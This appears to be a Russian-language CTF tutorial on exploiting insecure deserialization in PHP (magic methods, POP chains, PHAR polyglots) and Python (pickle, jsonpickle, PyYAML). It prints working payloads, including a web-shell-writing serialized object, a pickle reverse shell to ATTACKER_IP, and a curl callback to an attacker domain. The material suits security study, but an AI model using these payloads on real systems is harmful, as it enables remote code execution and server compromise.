
CTF-джеопарди, категория web, задача за 400 очков. Приложение хранит сессию в cookie. Декодируешь base64 — внутри O:4:"User":2:{s:4:"role";s:4:"user";s:8:"username";s:5:"guest";}. Меняешь s:4:"user" на s:5:"admin", пересчитываешь длину — флаг в ответе. Семь минут от старта до solve. Но только если понимаешь, что значит каждый байт в этой строке.
Insecure deserialization эксплуатация — не про запуск готовых генераторов payload. Это ручной разбор формата, поиск точки входа и построение цепочки вызовов через классы, доступные на конкретном сервере. Генератор выплюнет строку, а дальше что? Фильтр на опкоды, кастомные классы без гаджетов в phpggc, HMAC на cookie. И вот тут начинается настоящая работа.
PHP-сериализация — формат, в котором объекты упаковываются в строки для хранения и передачи. serialize() превращает объект в текст, unserialize() восстанавливает обратно. Уязвимость десериализации CTF начинается в момент, когда в unserialize() попадают данные, контролируемые пользователем. Подробнее — в нашем руководстве по создание ctf заданий.
Разберём строку O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"not admin";} побайтово:
O — тип данных, объект4 — длина имени класса (четыре символа)"User" — имя класса2 — количество свойств объектаs:8:"username" означает строку длиной 8 символов, s:6:"vickie" — значение длиной 6Полный набор типов: b — boolean, i — integer, d — float, s — string (с длиной), a — array, O — object. Для CTF критичны два момента: длина в s:LENGTH:"VALUE" обязана совпадать с реальной длиной значения, а число свойств в заголовке объекта — с фактическим количеством пар внутри скобок. Ошиблись на один символ — unserialize() вернёт false, и эксплойт молча сдохнет.
Где встречаются сериализованные данные: cookie, POST-параметры, скрытые поля форм, хранилища сессий. По классификации OWASP — это A08:2021 (Software and Data Integrity Failures), CWE-502 (Deserialization of Untrusted Data). В матрице MITRE ATT&CK эксплуатация маппится на T1190 (Exploit Public-Facing Application, Initial Access): crafted payload на публичный эндпоинт — и выполнение кода на сервере без аутентификации.
Бизнес-логика атаки за пределами CTF: через десериализацию атакующий получает RCE без credentials. Не нужна SQL-инъекция, не нужна загрузка файлов — достаточно контролировать вход в unserialize(). Даже без прямого RCE результатом может быть повышение привилегий, чтение произвольных файлов или DoS (PortSwigger Web Security Academy подтверждает). В реальной атакующей цепочке десериализация объектов PHP чаще всего используется для initial access с последующей загрузкой инструментов (T1105, Ingress Tool Transfer) и горизонтальным перемещением.
Десериализация объектов PHP становится по-настоящему опасной из-за магических методов — функций, которые вызываются автоматически на определённых этапах жизни объекта. Три ключевых для эксплуатации PHP объектов:
__wakeup() срабатывает сразу после десериализации. Если внутри — eval(), system(), file_put_contents() или другой опасный вызов с параметрами из свойств объекта, атакующий контролирует аргументы через подмену значений в сериализованной строке.
__destruct() срабатывает при уничтожении объекта — даже если приложение вообще не обращается к десериализованному объекту. Скрипт завершится, PHP вызовет деструктор, код отработает. Ключевой момент: атака завершается раньше, чем приложение «решит», нужен ему этот объект или нет. Деструктору всё равно.
__toString() срабатывает при приведении объекта к строке: echo, конкатенация, логирование. Десериализованный объект попал в любую строковую операцию — метод выполнится.
Классический паттерн эксплуатации magic methods PHP в CTF — класс с деструктором, который пишет данные в файл:
class Logger {
public $logFile;
public $logData;
function __destruct() {
file_put_contents($this->logFile, $this->logData);
}
}
// Payload:
// O:6:"Logger":2:{s:7:"logFile";s:9:"shell.php";
// s:7:"logData";s:27:"<?php system($_GET['c']);?>";}
При десериализации PHP создаёт объект Logger со свойствами logFile = "shell.php" и logData = "<?php system($_GET['c']);?>". Скрипт завершается — __destruct() записывает веб-шелл на диск через file_put_contents(). Приложению не нужно вызывать этот объект. Достаточно самого факта создания.
Второй частый вариант: класс с __wakeup(), внутри которого eval($this->hook). Payload генерируется элементарно — создаёшь экземпляр класса с нужным значением свойства hook, сериализуешь, отправляешь. Для генерации через PHP CLI хватит однострочника: php -r "class X{public \$hook='phpinfo();';} echo serialize(new X);".
Нюанс, который на CTF выручает регулярно: в старых версиях PHP (до 7.4) работает bypass __wakeup(). Указываешь в сериализованной строке количество свойств больше реального (например, O:4:"Test":2:{...} вместо O:4:"Test":1:{...}) — метод __wakeup() не вызовется, а __destruct() всё ещё сработает. Этот трюк появляется в задачах с пометкой «PHP < 8.0» — запомните, он спасает, когда __wakeup() содержит проверку, блокирующую эксплуатацию.
Простейший случай — один класс с eval() в магическом методе. На практике такого почти не бывает. В реальных CTF-задачах уровня medium-hard и на пентестах нужно выстроить цепочку вызовов через несколько классов — Property Oriented Programming (POP) chain. Именно gadget chain PHP делает десериализацию по-настоящему злым вектором.
Принцип POP chain: __destruct() первого объекта вызывает метод у свойства, которое само является объектом другого класса. Тот через __toString() или __call() дёргает метод у третьего — и так до sink-функции (eval(), system(), file_put_contents()).
Конкретный пример. Класс Cache в деструкторе вызывает $this->store->save($this->data). Класс FileHandler имеет метод save($content), который вызывает file_put_contents($this->path, $content). Собираем POP chain: создаём объект Cache, у которого свойство $store — объект FileHandler с контролируемым $path, а $data — PHP-шелл. При десериализации Cache.__destruct() вызывает FileHandler::save(), тот записывает шелл на диск. Два класса, ни один не содержит eval() напрямую — но цепочка даёт RCE.
Для сборки POP chain нужен исходный код приложения или список доступных классов. На CTF код обычно дан в задании или доступен через source disclosure. На реальных проектах классы подтягиваются из фреймворков — Laravel, Symfony, WordPress. Для автоматизации есть phpggc. Команда phpggc Laravel/RCE1 system id создаёт готовую сериализованную строку, которая при десериализации в Laravel-приложении выполнит system('id'). Просмотр доступных цепочек — phpggc -l, фильтрация по фреймворку — phpggc -l Laravel.
Типичный workflow на CTF: определяешь фреймворк через заголовки ответа, структуру URL или файлы конфигурации (.env, composer.json через LFI), подбираешь цепочку из phpggc, генерируешь payload, кодируешь в base64 или URL-encode, подставляешь в cookie или параметр. Но phpggc работает только с известными gadget chains — для кастомных приложений придётся строить цепочку руками, читая исходники. И вот тут phpggc уже не помощник.
PHAR (PHP Archive) — формат архивов, где метаданные хранятся в сериализованном виде. При обращении к PHAR-файлу через stream wrapper phar:// PHP автоматически десериализует метаданные — без явного вызова unserialize(). Вдумайтесь: десериализация без unserialize() в коде.
Это расширяет поверхность атаки десериализации объектов PHP. Если приложение обрабатывает пользовательские файлы функциями, поддерживающими stream wrappers (file_exists(), is_dir(), file_get_contents(), fopen(), filesize()), и путь контролируется пользователем — можно подсунуть PHAR и триггернуть десериализацию.
Техника атаки: создаётся PHAR-архив с вредоносным объектом в метаданных. Для обхода проверки формата файла используется polyglot — файл, валидный одновременно как JPEG и как PHAR. JPEG-заголовок (\xFF\xD8) ставится первым для парсера изображений, а __HALT_COMPILER(); маркирует начало PHAR-данных. Загружаешь polyglot как «картинку», затем обращаешься через phar:///path/to/upload.jpg — PHP десериализует метаданные с gadget chain внутри.
На CTF задачи с PHAR обычно комбинируют два шага: файловый аплоад с проверкой MIME-типа (обходится polyglot) и триггер десериализации через LFI или параметр пути. Генерация PHAR с gadget chain — через phpggc с флагом --phar или вручную через класс Phar в PHP CLI. На форуме Codeby описан кейс, где фильтр на phar:// обходился заменой регистра на PHAR:// — сервер проверял подстроку case-sensitive. Типичный паттерн: чёрный список без нормализации. Встречается чаще, чем хотелось бы.
Python использует модуль pickle для сериализации объектов. В отличие от PHP, где нужен уязвимый класс с магическим методом на стороне сервера, python pickle RCE опасен by design: любой вызов pickle.loads() с контролируемыми данными — потенциальный RCE. Официальная документация Python предупреждает прямым текстом: «pickle is not secure against maliciously constructed data». Не «будьте осторожны» — а «не безопасно».
Механизм — метод __reduce__(). При десериализации pickle проверяет его наличие: метод возвращает кортеж из вызываемой функции и кортежа аргументов. Атакующий определяет класс, чей __reduce__() возвращает (os.system, ('id',)) — при десериализации pickle вызовет os.system('id') без валидации.
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(Exploit())
# pickle.loads(payload) выполнит os.system('id')
Payload — байтовая строка, для передачи через HTTP кодируется в base64. На CTF типичный сценарий: Flask-приложение хранит сессию в подписанном cookie. Если секретный ключ слабый (secret, changeme, supersecret — да, люди реально так делают) или утёк через SSTI, .env disclosure — заменяешь cookie на сериализованный exploit. По MITRE ATT&CK это T1059.006 (Python, Execution) и T1059.004 (Unix Shell) при использовании reverse shell payload.
Для reverse shell в __reduce__() возвращаешь (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1',)). На стороне атакующего — nc -lvnp 4444. Deserialization RCE практика с pickle — один из самых быстрых векторов на CTF: не нужны gadget chains, не нужен доступ к исходникам для построения payload. Нашёл точку входа — через минуту у тебя шелл.
Бинарная строка pickle — не чёрный ящик. Это последовательность опкодов стековой виртуальной машины. Модуль pickletools дизассемблирует payload: python3 -c "import pickletools; pickletools.dis(open('payload','rb').read())":
0: \x80 PROTO 4
2: \x95 FRAME 26
11: \x8c SHORT_BINUNICODE 'posix'
18: \x8c SHORT_BINUNICODE 'system'
26: \x93 STACK_GLOBAL
27: \x8c SHORT_BINUNICODE 'id'
30: \x85 TUPLE1
31: R REDUCE
32: . STOP
Читается сверху вниз: STACK_GLOBAL помещает posix.system на стек, SHORT_BINUNICODE 'id' кладёт аргумент, TUPLE1 оборачивает его в кортеж, а REDUCE (опкод R) вызывает функцию с аргументами. Опкод R — главный для pickle opcode exploit: берёт со стека callable и кортеж аргументов, выполняет вызов.
Зачем разбирать опкоды на CTF: задачи hard-уровня нередко содержат фильтр, блокирующий определённые опкоды. Если R (REDUCE) в чёрном списке — стандартный __reduce__() не пройдёт. Payload собирается вручную через альтернативные опкоды: o (OBJ), i (INST) или комбинацию c (GLOBAL) + ( (MARK) + t (TUPLE). Без понимания pickle VM эти задачи не решаются. Точка.
Ещё сценарий: в задании дан бинарный blob, который нужно проанализировать. Дизассемблирование через pickletools.dis() моментально покажет, что внутри — вызов os.system, subprocess.Popen или builtins.eval. Быстрее, чем пытаться десериализовать payload в песочнице и гадать, что произошло.
Python pickle RCE — классический вектор, но CTF web эксплоиты через десериализацию встречаются и в других библиотеках. Две самые распространённые — jsonpickle и PyYAML.
jsonpickle сериализует Python-объекты в JSON, сохраняя информацию о типах. В отличие от стандартного json, jsonpickle поддерживает произвольные классы, включая __reduce__(). CVE-2020-22083 (CVSS 9.8, CRITICAL, CWE-502) затрагивает jsonpickle до версии 1.4.1 включительно: jsonpickle.decode() на вредоносном JSON даёт RCE. Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — сетевая атака, низкая сложность, без аутентификации, полный компромисс. По EPSS (Exploit Prediction Scoring System от FIRST.org) вероятность эксплуатации входит в top 10% среди всех известных уязвимостей (percentile 0.9370).
Payload выглядит как обычный JSON: {"py/reduce": [{"py/function": "builtins.eval"}, {"py/tuple": ["__import__('os').system('id')"]}]}. Отправляется через HTTP POST — если эндпоинт обрабатывает тело через jsonpickle.decode(), код исполняется немедленно. Маркеры jsonpickle-сериализации в JSON: ключи py/object, py/reduce, py/function (SentinelOne). Маскировка под легитимный JSON делает такие payload сложнее для обнаружения WAF, чем бинарный pickle — WAF видит валидный JSON и пропускает.
Red Hat в advisory по CVE-2020-22083 пишет прямо: это «documented expected behavior consistent with pickle's security model». По сути, уязвимость не в библиотеке, а в архитектурном решении использовать pickle-подобную десериализацию для данных из ненадёжных источников. По документам — всё правильно. На практике — RCE.
PyYAML — второй вектор уязвимости десериализации за пределами pickle. yaml.load() без безопасного загрузчика поддерживает Python-специфичные теги для инстанцирования объектов. Payload !!python/object/apply:os.system ['id'] при обработке через yaml.load(user_input) выполнит системную команду. По данным PortSwigger и Safeguard.sh, этот класс уязвимостей затрагивал крупные проекты, включая DevOps-инструменты. Защита — yaml.safe_load(), которая не поддерживает произвольные Python-объекты.
На CTF задачи с PyYAML маскируются под «загрузку конфигурации» или «импорт настроек» — эндпоинт принимает YAML-файл и парсит его небезопасным загрузчиком. Распознать вектор можно по Content-Type: application/x-yaml в запросах или по наличию YAML-полей в интерфейсе. Увидели поле «загрузить конфиг» — сразу проверяйте, что там под капотом.
Поиск уязвимостей десериализации CTF начинается с распознавания формата данных в трафике. Характерные маркеры:
PHP сериализация: строка начинается с O: (объект), a: (массив), s: (строка). В base64 — паттерны Tz, YT. В cookie может быть URL-encoded. Проверка в Burp Suite: Decoder → base64 decode → визуальный поиск O:LENGTH:"CLASSNAME".
Python pickle: бинарные данные с magic bytes \x80\x03 (protocol 3), \x80\x04 (protocol 4), \x80\x05 (protocol 5). В base64 характерные начала: gASV, gANj. Нечитаемый base64 в cookie с такими magic bytes — с высокой вероятностью pickle.
jsonpickle: валидный JSON с ключами py/object, py/reduce, py/type, py/function. Выглядит как обычный API-ответ, но содержит Python-специфичные маркеры.
Пошаговый workflow эксплуатации:
Найти точку входа. Cookie, POST-параметр, заголовок с нестандартным содержимым. Burp Suite Proxy покажет параметры с base64-контентом — декодируй каждый подозрительный.
Определить формат. Декодировать, проверить структуру. PHP — текстовый с O: / a:. Pickle — бинарный с \x80. JSON с ключами py/ — jsonpickle. YAML — если эндпоинт принимает YAML-данные.
Получить исходный код. На CTF код часто дан в задании, доступен через LFI, source disclosure или .git exposure. Для PHP — искать классы с __wakeup(), __destruct(), __toString() и строить POP chain. Для Python — искать pickle.loads(), jsonpickle.decode(), yaml.load() без safe loader.
Построить payload. PHP — вручную конструировать сериализованную строку (пересчитать все длины!) или использовать phpggc для известных фреймворков. Python — написать класс с __reduce__(), вызвать pickle.dumps().
Доставить и проверить. Закодировать payload (base64, URL-encode), подставить в cookie/параметр, отправить. Верификация — через OOB-callback: DNS-запрос на контролируемый домен (curl ATTACKER.burpcollaborator.net), HTTP-запрос на webhook.site, или прямой вывод команды в ответе.
Типичные ошибки на CTF, которые стоят часов: забыть пересчитать длину строки после изменения значения в PHP-payload (вместо s:4:"user" при замене на admin нужно s:5:"admin"), не URL-encode бинарные данные pickle перед подстановкой в параметр, пытаться использовать phpggc для кастомного приложения без фреймворка. Третья ошибка — моя любимая: человек полчаса подбирает цепочку из phpggc для приложения, написанного на голом PHP без единого фреймворка.
Insecure deserialization эксплуатация сводится к формуле: контролируемый вход + опасный sink + путь от входа до sink через доступные классы. На простых задачах путь прямой (один класс с eval() в __wakeup()). На сложных — нужно строить POP chain через три-пять классов, читая исходники и отслеживая поток данных от свойств объекта до sink-функции.
Большинство CTF-игроков, с которыми я работаю на турнирах, учат десериализацию через шаблоны: pickle — __reduce__() с os.system, PHP — запускаешь phpggc, YAML — !!python/object. Шаблоны закрывают easy и часть medium. На hard-задачах шаблоны ломаются: кастомные классы без готовых гаджетов, фильтры на pickle-опкоды, HMAC на cookie, PHAR с polyglot через нестандартный формат.
И тут выясняется, что человек не может собрать POP chain вручную. Не понимает разницу между опкодами R, o и i. Не знает, как обойти __wakeup() через подмену количества свойств. Шаблонный подход создаёт иллюзию владения темой.
Реальное владение — это когда получаешь бинарный blob, дизассемблируешь через pickletools.dis(), видишь заблокированный опкод и за полчаса собираешь альтернативный payload руками. Или когда в PHP-приложении нет ни одного класса с eval() в магическом методе, но через цепочку из четырёх классов добираешься до file_put_contents() и пишешь шелл. Навык строить цепочки руками — то, что отделяет решающего задачи от решающего задачи уровня финала. Если хочешь не просто writeup, а пройти всю атаку самому с нарастающей сложностью — WAPT даёт именно такую прогрессию с лабами на каждый кейс.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...